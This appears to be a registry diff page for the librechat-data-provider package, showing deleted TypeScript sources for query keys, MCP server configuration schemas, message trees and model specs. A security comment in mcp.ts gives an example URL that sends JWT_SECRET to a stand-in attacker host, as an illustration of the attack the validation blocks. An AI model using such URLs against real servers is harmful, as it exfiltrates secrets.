librechat-data-provider 0.8.402 → 0.8.403

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (103) hide show
  1. package/dist/types/accessPermissions.d.ts +744 -0
  2. package/dist/types/actions.d.ts +118 -0
  3. package/dist/types/api-endpoints.d.ts +149 -0
  4. package/dist/types/artifacts.d.ts +97 -0
  5. package/dist/types/azure.d.ts +22 -0
  6. package/dist/types/bedrock.d.ts +1220 -0
  7. package/dist/types/config.d.ts +13916 -0
  8. package/dist/types/config.spec.d.ts +1 -0
  9. package/dist/types/createPayload.d.ts +5 -0
  10. package/dist/types/data-service.d.ts +284 -0
  11. package/dist/types/feedback.d.ts +36 -0
  12. package/dist/types/file-config.d.ts +263 -0
  13. package/dist/types/file-config.spec.d.ts +1 -0
  14. package/dist/types/generate.d.ts +597 -0
  15. package/dist/types/headers-helpers.d.ts +2 -0
  16. package/{src/index.ts → dist/types/index.d.ts} +0 -15
  17. package/dist/types/keys.d.ts +92 -0
  18. package/dist/types/mcp.d.ts +2760 -0
  19. package/dist/types/messages.d.ts +10 -0
  20. package/dist/types/models.d.ts +1677 -0
  21. package/dist/types/parameterSettings.d.ts +69 -0
  22. package/dist/types/parsers.d.ts +110 -0
  23. package/dist/types/permissions.d.ts +522 -0
  24. package/dist/types/react-query/react-query-service.d.ts +85 -0
  25. package/dist/types/request.d.ts +25 -0
  26. package/dist/types/roles.d.ts +554 -0
  27. package/dist/types/roles.spec.d.ts +1 -0
  28. package/dist/types/schemas.d.ts +4815 -0
  29. package/dist/types/schemas.spec.d.ts +1 -0
  30. package/dist/types/types/agents.d.ts +433 -0
  31. package/dist/types/types/assistants.d.ts +547 -0
  32. package/dist/types/types/files.d.ts +172 -0
  33. package/dist/types/types/graph.d.ts +135 -0
  34. package/{src/types/mcpServers.ts → dist/types/types/mcpServers.d.ts} +12 -18
  35. package/dist/types/types/mutations.d.ts +209 -0
  36. package/dist/types/types/queries.d.ts +169 -0
  37. package/dist/types/types/runs.d.ts +36 -0
  38. package/dist/types/types/web.d.ts +520 -0
  39. package/dist/types/types.d.ts +503 -0
  40. package/dist/types/utils.d.ts +12 -0
  41. package/package.json +4 -1
  42. package/babel.config.js +0 -4
  43. package/check_updates.sh +0 -52
  44. package/jest.config.js +0 -19
  45. package/react-query/package-lock.json +0 -292
  46. package/react-query/package.json +0 -10
  47. package/rollup.config.js +0 -74
  48. package/server-rollup.config.js +0 -40
  49. package/specs/actions.spec.ts +0 -2533
  50. package/specs/api-endpoints-subdir.spec.ts +0 -140
  51. package/specs/api-endpoints.spec.ts +0 -74
  52. package/specs/azure.spec.ts +0 -844
  53. package/specs/bedrock.spec.ts +0 -862
  54. package/specs/filetypes.spec.ts +0 -175
  55. package/specs/generate.spec.ts +0 -770
  56. package/specs/headers-helpers.spec.ts +0 -24
  57. package/specs/mcp.spec.ts +0 -147
  58. package/specs/openapiSpecs.ts +0 -524
  59. package/specs/parsers.spec.ts +0 -601
  60. package/specs/request-interceptor.spec.ts +0 -304
  61. package/specs/utils.spec.ts +0 -196
  62. package/src/accessPermissions.ts +0 -346
  63. package/src/actions.ts +0 -813
  64. package/src/api-endpoints.ts +0 -440
  65. package/src/artifacts.ts +0 -3104
  66. package/src/azure.ts +0 -328
  67. package/src/bedrock.ts +0 -425
  68. package/src/config.spec.ts +0 -315
  69. package/src/config.ts +0 -2006
  70. package/src/createPayload.ts +0 -46
  71. package/src/data-service.ts +0 -1087
  72. package/src/feedback.ts +0 -141
  73. package/src/file-config.spec.ts +0 -1248
  74. package/src/file-config.ts +0 -764
  75. package/src/generate.ts +0 -634
  76. package/src/headers-helpers.ts +0 -13
  77. package/src/keys.ts +0 -99
  78. package/src/mcp.ts +0 -271
  79. package/src/messages.ts +0 -50
  80. package/src/models.ts +0 -69
  81. package/src/parameterSettings.ts +0 -1111
  82. package/src/parsers.ts +0 -563
  83. package/src/permissions.ts +0 -188
  84. package/src/react-query/react-query-service.ts +0 -566
  85. package/src/request.ts +0 -171
  86. package/src/roles.spec.ts +0 -132
  87. package/src/roles.ts +0 -225
  88. package/src/schemas.spec.ts +0 -355
  89. package/src/schemas.ts +0 -1234
  90. package/src/types/agents.ts +0 -470
  91. package/src/types/assistants.ts +0 -654
  92. package/src/types/files.ts +0 -191
  93. package/src/types/graph.ts +0 -145
  94. package/src/types/mutations.ts +0 -422
  95. package/src/types/queries.ts +0 -208
  96. package/src/types/runs.ts +0 -40
  97. package/src/types/web.ts +0 -588
  98. package/src/types.ts +0 -676
  99. package/src/utils.ts +0 -85
  100. package/tsconfig.json +0 -28
  101. package/tsconfig.spec.json +0 -10
  102. /package/{src/react-query/index.ts → dist/types/react-query/index.d.ts} +0 -0
  103. /package/{src/types/index.ts → dist/types/types/index.d.ts} +0 -0
package/src/keys.ts DELETED
@@ -1,99 +0,0 @@
1
- export enum QueryKeys {
2
- messages = 'messages',
3
- sharedMessages = 'sharedMessages',
4
- sharedLinks = 'sharedLinks',
5
- allConversations = 'allConversations',
6
- archivedConversations = 'archivedConversations',
7
- searchConversations = 'searchConversations',
8
- conversation = 'conversation',
9
- searchEnabled = 'searchEnabled',
10
- user = 'user',
11
- name = 'name', // user key name
12
- models = 'models',
13
- balance = 'balance',
14
- endpoints = 'endpoints',
15
- presets = 'presets',
16
- searchResults = 'searchResults',
17
- tokenCount = 'tokenCount',
18
- availablePlugins = 'availablePlugins',
19
- startupConfig = 'startupConfig',
20
- assistants = 'assistants',
21
- assistant = 'assistant',
22
- agents = 'agents',
23
- agent = 'agent',
24
- files = 'files',
25
- fileConfig = 'fileConfig',
26
- tools = 'tools',
27
- toolAuth = 'toolAuth',
28
- toolCalls = 'toolCalls',
29
- mcpTools = 'mcpTools',
30
- mcpConnectionStatus = 'mcpConnectionStatus',
31
- mcpAuthValues = 'mcpAuthValues',
32
- agentTools = 'agentTools',
33
- actions = 'actions',
34
- assistantDocs = 'assistantDocs',
35
- agentDocs = 'agentDocs',
36
- fileDownload = 'fileDownload',
37
- voices = 'voices',
38
- customConfigSpeech = 'customConfigSpeech',
39
- prompts = 'prompts',
40
- prompt = 'prompt',
41
- promptGroups = 'promptGroups',
42
- allPromptGroups = 'allPromptGroups',
43
- promptGroup = 'promptGroup',
44
- categories = 'categories',
45
- randomPrompts = 'randomPrompts',
46
- agentCategories = 'agentCategories',
47
- marketplaceAgents = 'marketplaceAgents',
48
- roles = 'roles',
49
- conversationTags = 'conversationTags',
50
- health = 'health',
51
- userTerms = 'userTerms',
52
- banner = 'banner',
53
- /* Memories */
54
- memories = 'memories',
55
- principalSearch = 'principalSearch',
56
- accessRoles = 'accessRoles',
57
- resourcePermissions = 'resourcePermissions',
58
- effectivePermissions = 'effectivePermissions',
59
- graphToken = 'graphToken',
60
- /* MCP Servers */
61
- mcpServers = 'mcpServers',
62
- mcpServer = 'mcpServer',
63
- /* Active Jobs */
64
- activeJobs = 'activeJobs',
65
- /* Agent API Keys */
66
- agentApiKeys = 'agentApiKeys',
67
- }
68
-
69
- // Dynamic query keys that require parameters
70
- export const DynamicQueryKeys = {
71
- agentFiles: (agentId: string) => ['agentFiles', agentId] as const,
72
- } as const;
73
-
74
- export enum MutationKeys {
75
- createAgentApiKey = 'createAgentApiKey',
76
- deleteAgentApiKey = 'deleteAgentApiKey',
77
- fileUpload = 'fileUpload',
78
- fileDelete = 'fileDelete',
79
- updatePreset = 'updatePreset',
80
- deletePreset = 'deletePreset',
81
- loginUser = 'loginUser',
82
- logoutUser = 'logoutUser',
83
- refreshToken = 'refreshToken',
84
- avatarUpload = 'avatarUpload',
85
- speechToText = 'speechToText',
86
- textToSpeech = 'textToSpeech',
87
- assistantAvatarUpload = 'assistantAvatarUpload',
88
- agentAvatarUpload = 'agentAvatarUpload',
89
- updateAction = 'updateAction',
90
- updateAgentAction = 'updateAgentAction',
91
- deleteAction = 'deleteAction',
92
- deleteAgentAction = 'deleteAgentAction',
93
- revertAgentVersion = 'revertAgentVersion',
94
- deleteUser = 'deleteUser',
95
- updateRole = 'updateRole',
96
- enableTwoFactor = 'enableTwoFactor',
97
- verifyTwoFactor = 'verifyTwoFactor',
98
- updateMemoryPreferences = 'updateMemoryPreferences',
99
- }
package/src/mcp.ts DELETED
@@ -1,271 +0,0 @@
1
- import { z } from 'zod';
2
- import { TokenExchangeMethodEnum } from './types/agents';
3
- import { extractEnvVariable } from './utils';
4
-
5
- const BaseOptionsSchema = z.object({
6
- /** Display name for the MCP server - only letters, numbers, and spaces allowed */
7
- title: z
8
- .string()
9
- .regex(/^[a-zA-Z0-9 ]+$/, 'Title can only contain letters, numbers, and spaces')
10
- .optional(),
11
- /** Description of the MCP server */
12
- description: z.string().optional(),
13
- /**
14
- * Controls whether the MCP server is initialized during application startup.
15
- * - true (default): Server is initialized during app startup and included in app-level connections
16
- * - false: Skips initialization at startup and excludes from app-level connections - useful for servers
17
- * requiring manual authentication (e.g., GitHub PAT tokens) that need to be configured through the UI after startup
18
- */
19
- startup: z.boolean().optional(),
20
- iconPath: z.string().optional(),
21
- timeout: z.number().optional(),
22
- /** Timeout (ms) for the long-lived SSE GET stream body before undici aborts it. Default: 300_000 (5 min). */
23
- sseReadTimeout: z.number().positive().optional(),
24
- initTimeout: z.number().optional(),
25
- /** Controls visibility in chat dropdown menu (MCPSelect) */
26
- chatMenu: z.boolean().optional(),
27
- /**
28
- * Controls server instruction behavior:
29
- * - undefined/not set: No instructions included (default)
30
- * - true: Use server-provided instructions
31
- * - string: Use custom instructions (overrides server-provided)
32
- */
33
- serverInstructions: z.union([z.boolean(), z.string()]).optional(),
34
- /**
35
- * Whether this server requires OAuth authentication
36
- * If not specified, will be auto-detected during construction
37
- */
38
- requiresOAuth: z.boolean().optional(),
39
- /**
40
- * OAuth configuration for SSE and Streamable HTTP transports
41
- * - Optional: OAuth can be auto-discovered on 401 responses
42
- * - Pre-configured values will skip discovery steps
43
- */
44
- oauth: z
45
- .object({
46
- /** OAuth authorization endpoint (optional - can be auto-discovered) */
47
- authorization_url: z.string().url().optional(),
48
- /** OAuth token endpoint (optional - can be auto-discovered) */
49
- token_url: z.string().url().optional(),
50
- /** OAuth client ID (optional - can use dynamic registration) */
51
- client_id: z.string().optional(),
52
- /** OAuth client secret (optional - can use dynamic registration) */
53
- client_secret: z.string().optional(),
54
- /** OAuth scopes to request */
55
- scope: z.string().optional(),
56
- /** OAuth redirect URI (defaults to /api/mcp/{serverName}/oauth/callback) */
57
- redirect_uri: z.string().url().optional(),
58
- /** Token exchange method */
59
- token_exchange_method: z.nativeEnum(TokenExchangeMethodEnum).optional(),
60
- /** Supported grant types (defaults to ['authorization_code', 'refresh_token']) */
61
- grant_types_supported: z.array(z.string()).optional(),
62
- /** Supported token endpoint authentication methods (defaults to ['client_secret_basic', 'client_secret_post']) */
63
- token_endpoint_auth_methods_supported: z.array(z.string()).optional(),
64
- /** Supported response types (defaults to ['code']) */
65
- response_types_supported: z.array(z.string()).optional(),
66
- /** Supported code challenge methods (defaults to ['S256', 'plain']) */
67
- code_challenge_methods_supported: z.array(z.string()).optional(),
68
- /** Skip code challenge validation and force S256 (useful for providers like AWS Cognito that support S256 but don't advertise it) */
69
- skip_code_challenge_check: z.boolean().optional(),
70
- /** OAuth revocation endpoint (optional - can be auto-discovered) */
71
- revocation_endpoint: z.string().url().optional(),
72
- /** OAuth revocation endpoint authentication methods supported (optional - can be auto-discovered) */
73
- revocation_endpoint_auth_methods_supported: z.array(z.string()).optional(),
74
- })
75
- .optional(),
76
- /** Custom headers to send with OAuth requests (registration, discovery, token exchange, etc.) */
77
- oauth_headers: z.record(z.string(), z.string()).optional(),
78
- /**
79
- * API Key authentication configuration for SSE and Streamable HTTP transports
80
- * - source: 'admin' means the key is provided by admin and shared by all users
81
- * - source: 'user' means each user provides their own key via customUserVars
82
- */
83
- apiKey: z
84
- .object({
85
- /** API key value (only for admin-provided mode, stored encrypted) */
86
- key: z.string().optional(),
87
- /** Whether key is provided by admin or each user */
88
- source: z.enum(['admin', 'user']),
89
- /** How to format the authorization header */
90
- authorization_type: z.enum(['basic', 'bearer', 'custom']),
91
- /** Custom header name when authorization_type is 'custom' */
92
- custom_header: z.string().optional(),
93
- })
94
- .optional(),
95
- customUserVars: z
96
- .record(
97
- z.string(),
98
- z.object({
99
- title: z.string(),
100
- description: z.string(),
101
- }),
102
- )
103
- .optional(),
104
- });
105
-
106
- export const StdioOptionsSchema = BaseOptionsSchema.extend({
107
- type: z.literal('stdio').optional(),
108
- /**
109
- * The executable to run to start the server.
110
- */
111
- command: z.string(),
112
- /**
113
- * Command line arguments to pass to the executable.
114
- */
115
- args: z.array(z.string()),
116
- /**
117
- * The environment to use when spawning the process.
118
- *
119
- * If not specified, the result of getDefaultEnvironment() will be used.
120
- * Environment variables can be referenced using ${VAR_NAME} syntax.
121
- */
122
- env: z
123
- .record(z.string(), z.string())
124
- .optional()
125
- .transform((env) => {
126
- if (!env) {
127
- return env;
128
- }
129
-
130
- const processedEnv: Record<string, string> = {};
131
- for (const [key, value] of Object.entries(env)) {
132
- processedEnv[key] = extractEnvVariable(value);
133
- }
134
- return processedEnv;
135
- }),
136
- /**
137
- * How to handle stderr of the child process. This matches the semantics of Node's `child_process.spawn`.
138
- *
139
- * @type {import('node:child_process').IOType | import('node:stream').Stream | number}
140
- *
141
- * The default is "inherit", meaning messages to stderr will be printed to the parent process's stderr.
142
- */
143
- stderr: z.any().optional(),
144
- });
145
-
146
- export const WebSocketOptionsSchema = BaseOptionsSchema.extend({
147
- type: z.literal('websocket').optional(),
148
- url: z
149
- .string()
150
- .transform((val: string) => extractEnvVariable(val))
151
- .pipe(z.string().url())
152
- .refine(
153
- (val: string) => {
154
- const protocol = new URL(val).protocol;
155
- return protocol === 'ws:' || protocol === 'wss:';
156
- },
157
- {
158
- message: 'WebSocket URL must start with ws:// or wss://',
159
- },
160
- ),
161
- });
162
-
163
- export const SSEOptionsSchema = BaseOptionsSchema.extend({
164
- type: z.literal('sse').optional(),
165
- headers: z.record(z.string(), z.string()).optional(),
166
- url: z
167
- .string()
168
- .transform((val: string) => extractEnvVariable(val))
169
- .pipe(z.string().url())
170
- .refine(
171
- (val: string) => {
172
- const protocol = new URL(val).protocol;
173
- return protocol !== 'ws:' && protocol !== 'wss:';
174
- },
175
- {
176
- message: 'SSE URL must not start with ws:// or wss://',
177
- },
178
- ),
179
- });
180
-
181
- export const StreamableHTTPOptionsSchema = BaseOptionsSchema.extend({
182
- type: z.union([z.literal('streamable-http'), z.literal('http')]),
183
- headers: z.record(z.string(), z.string()).optional(),
184
- url: z
185
- .string()
186
- .transform((val: string) => extractEnvVariable(val))
187
- .pipe(z.string().url())
188
- .refine(
189
- (val: string) => {
190
- const protocol = new URL(val).protocol;
191
- return protocol !== 'ws:' && protocol !== 'wss:';
192
- },
193
- {
194
- message: 'Streamable HTTP URL must not start with ws:// or wss://',
195
- },
196
- ),
197
- });
198
-
199
- export const MCPOptionsSchema = z.union([
200
- StdioOptionsSchema,
201
- WebSocketOptionsSchema,
202
- SSEOptionsSchema,
203
- StreamableHTTPOptionsSchema,
204
- ]);
205
-
206
- export const MCPServersSchema = z.record(z.string(), MCPOptionsSchema);
207
-
208
- export type MCPOptions = z.infer<typeof MCPOptionsSchema>;
209
-
210
- /**
211
- * Helper to omit server-managed fields that should not come from UI
212
- */
213
- const omitServerManagedFields = <T extends z.ZodObject<z.ZodRawShape>>(schema: T) =>
214
- schema.omit({
215
- startup: true,
216
- timeout: true,
217
- sseReadTimeout: true,
218
- initTimeout: true,
219
- chatMenu: true,
220
- serverInstructions: true,
221
- requiresOAuth: true,
222
- customUserVars: true,
223
- oauth_headers: true,
224
- });
225
-
226
- const envVarPattern = /\$\{[^}]+\}/;
227
- const isWsProtocol = (val: string): boolean => /^wss?:/i.test(val);
228
- const isHttpProtocol = (val: string): boolean => /^https?:/i.test(val);
229
-
230
- /**
231
- * Builds a URL schema for user input that rejects ${VAR} env variable patterns
232
- * and validates protocol constraints without resolving environment variables.
233
- */
234
- const userUrlSchema = (protocolCheck: (val: string) => boolean, message: string) =>
235
- z
236
- .string()
237
- .refine((val) => !envVarPattern.test(val), {
238
- message: 'Environment variable references are not allowed in URLs',
239
- })
240
- .pipe(z.string().url())
241
- .refine(protocolCheck, { message });
242
-
243
- /**
244
- * MCP Server configuration that comes from UI/API input only.
245
- * Omits server-managed fields like startup, timeout, customUserVars, etc.
246
- * Allows: title, description, url, iconPath, oauth (user credentials)
247
- *
248
- * SECURITY: Stdio transport is intentionally excluded from user input.
249
- * Stdio allows arbitrary command execution and should only be configured
250
- * by administrators via the YAML config file (librechat.yaml).
251
- * Only remote transports (SSE, HTTP, WebSocket) are allowed via the API.
252
- *
253
- * SECURITY: URL fields use userUrlSchema instead of the admin schemas'
254
- * extractEnvVariable transform to prevent env variable exfiltration
255
- * through user-controlled URLs (e.g. http://attacker.com/?k=${JWT_SECRET}).
256
- * Protocol checks use positive allowlists (http(s) / ws(s)) to block
257
- * file://, ftp://, javascript:, and other non-network schemes.
258
- */
259
- export const MCPServerUserInputSchema = z.union([
260
- omitServerManagedFields(WebSocketOptionsSchema).extend({
261
- url: userUrlSchema(isWsProtocol, 'WebSocket URL must use ws:// or wss://'),
262
- }),
263
- omitServerManagedFields(SSEOptionsSchema).extend({
264
- url: userUrlSchema(isHttpProtocol, 'SSE URL must use http:// or https://'),
265
- }),
266
- omitServerManagedFields(StreamableHTTPOptionsSchema).extend({
267
- url: userUrlSchema(isHttpProtocol, 'Streamable HTTP URL must use http:// or https://'),
268
- }),
269
- ]);
270
-
271
- export type MCPServerUserInput = z.infer<typeof MCPServerUserInputSchema>;
package/src/messages.ts DELETED
@@ -1,50 +0,0 @@
1
- import type { TFile } from './types/files';
2
- import type { TMessage } from './types';
3
-
4
- export type ParentMessage = TMessage & { children: TMessage[]; depth: number };
5
- export function buildTree({
6
- messages,
7
- fileMap,
8
- }: {
9
- messages: (TMessage | undefined)[] | null;
10
- fileMap?: Record<string, TFile>;
11
- }) {
12
- if (messages === null) {
13
- return null;
14
- }
15
-
16
- const messageMap: Record<string, ParentMessage> = {};
17
- const rootMessages: TMessage[] = [];
18
- const childrenCount: Record<string, number> = {};
19
-
20
- messages.forEach((message) => {
21
- if (!message) {
22
- return;
23
- }
24
- const parentId = message.parentMessageId ?? '';
25
- childrenCount[parentId] = (childrenCount[parentId] || 0) + 1;
26
-
27
- const extendedMessage: ParentMessage = {
28
- ...message,
29
- children: [],
30
- depth: 0,
31
- siblingIndex: childrenCount[parentId] - 1,
32
- };
33
-
34
- if (message.files && fileMap) {
35
- extendedMessage.files = message.files.map((file) => fileMap[file.file_id ?? ''] ?? file);
36
- }
37
-
38
- messageMap[message.messageId] = extendedMessage;
39
-
40
- const parentMessage = messageMap[parentId];
41
- if (parentMessage) {
42
- parentMessage.children.push(extendedMessage);
43
- extendedMessage.depth = parentMessage.depth + 1;
44
- } else {
45
- rootMessages.push(extendedMessage);
46
- }
47
- });
48
-
49
- return rootMessages;
50
- }
package/src/models.ts DELETED
@@ -1,69 +0,0 @@
1
- import { z } from 'zod';
2
- import type { TPreset } from './schemas';
3
- import {
4
- EModelEndpoint,
5
- tPresetSchema,
6
- eModelEndpointSchema,
7
- AuthType,
8
- authTypeSchema,
9
- } from './schemas';
10
-
11
- export type TModelSpec = {
12
- name: string;
13
- label: string;
14
- preset: TPreset;
15
- order?: number;
16
- default?: boolean;
17
- description?: string;
18
- /**
19
- * Optional group name for organizing specs in the UI selector.
20
- * - If it matches an endpoint name (e.g., "openAI", "groq"), the spec appears nested under that endpoint
21
- * - If it's a custom name (doesn't match any endpoint), it creates a separate collapsible group
22
- * - If omitted, the spec appears as a standalone item at the top level
23
- */
24
- group?: string;
25
- /**
26
- * Optional icon URL for the group this spec belongs to.
27
- * Only needs to be set on one spec per group - the first one found with a groupIcon will be used.
28
- * Can be a URL or an endpoint name to use its icon.
29
- */
30
- groupIcon?: string | EModelEndpoint;
31
- showIconInMenu?: boolean;
32
- showIconInHeader?: boolean;
33
- iconURL?: string | EModelEndpoint; // Allow using project-included icons
34
- authType?: AuthType;
35
- webSearch?: boolean;
36
- fileSearch?: boolean;
37
- executeCode?: boolean;
38
- artifacts?: string | boolean;
39
- mcpServers?: string[];
40
- };
41
-
42
- export const tModelSpecSchema = z.object({
43
- name: z.string(),
44
- label: z.string(),
45
- preset: tPresetSchema,
46
- order: z.number().optional(),
47
- default: z.boolean().optional(),
48
- description: z.string().optional(),
49
- group: z.string().optional(),
50
- groupIcon: z.union([z.string(), eModelEndpointSchema]).optional(),
51
- showIconInMenu: z.boolean().optional(),
52
- showIconInHeader: z.boolean().optional(),
53
- iconURL: z.union([z.string(), eModelEndpointSchema]).optional(),
54
- authType: authTypeSchema.optional(),
55
- webSearch: z.boolean().optional(),
56
- fileSearch: z.boolean().optional(),
57
- executeCode: z.boolean().optional(),
58
- artifacts: z.union([z.string(), z.boolean()]).optional(),
59
- mcpServers: z.array(z.string()).optional(),
60
- });
61
-
62
- export const specsConfigSchema = z.object({
63
- enforce: z.boolean().default(false),
64
- prioritize: z.boolean().default(true),
65
- list: z.array(tModelSpecSchema).min(1),
66
- addedEndpoints: z.array(z.union([z.string(), eModelEndpointSchema])).optional(),
67
- });
68
-
69
- export type TSpecsConfig = z.infer<typeof specsConfigSchema>;